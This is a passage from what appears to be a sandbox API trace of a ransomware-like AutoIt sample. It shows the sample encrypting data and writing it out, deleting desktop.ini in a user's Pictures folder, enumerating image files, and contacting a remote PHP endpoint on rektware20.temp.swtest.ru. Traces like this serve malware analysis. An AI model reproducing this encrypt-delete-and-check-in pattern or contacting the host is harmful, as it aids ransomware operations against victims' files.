wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] CharLowerBuffW (in: lpsz="byte[193]", cchLength=0x9 | out: lpsz="byte[193]") returned 0x9 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.895] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.895] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.895] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.895] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x164ffd8*, pdwDataLen=0x130e618*=0xbe, dwBufLen=0xc0 | out: pbData=0x164ffd8*, pdwDataLen=0x130e618*=0xc0) returned 1 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.896] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.896] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.896] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.897] WriteFile (in: hFile=0x3bc, lpBuffer=0x17cb828*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17cb828*, lpNumberOfBytesWritten=0x130f01c*=0xc0, lpOverlapped=0x0) returned 1 [0061.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.898] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.898] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.898] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0061.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.898] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.899] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.899] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.899] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.900] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.900] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.900] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0061.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.900] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.902] CloseHandle (hObject=0x2ac) returned 1 [0061.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.902] CloseHandle (hObject=0x3bc) returned 1 [0061.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.903] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.904] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", lpFilePart=0x0) returned 0x39 [0061.904] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures\\desktop.ini")) returned 0x6 [0061.904] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0061.904] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures\\desktop.ini")) returned 1 [0061.905] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.905] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0061.905] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.905] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.905] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.905] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.905] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.905] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.906] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.906] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0061.906] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.906] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.906] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.907] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.907] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.907] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.907] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.907] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.907] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.907] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.907] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.907] CloseHandle (hObject=0x0) returned 0 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] 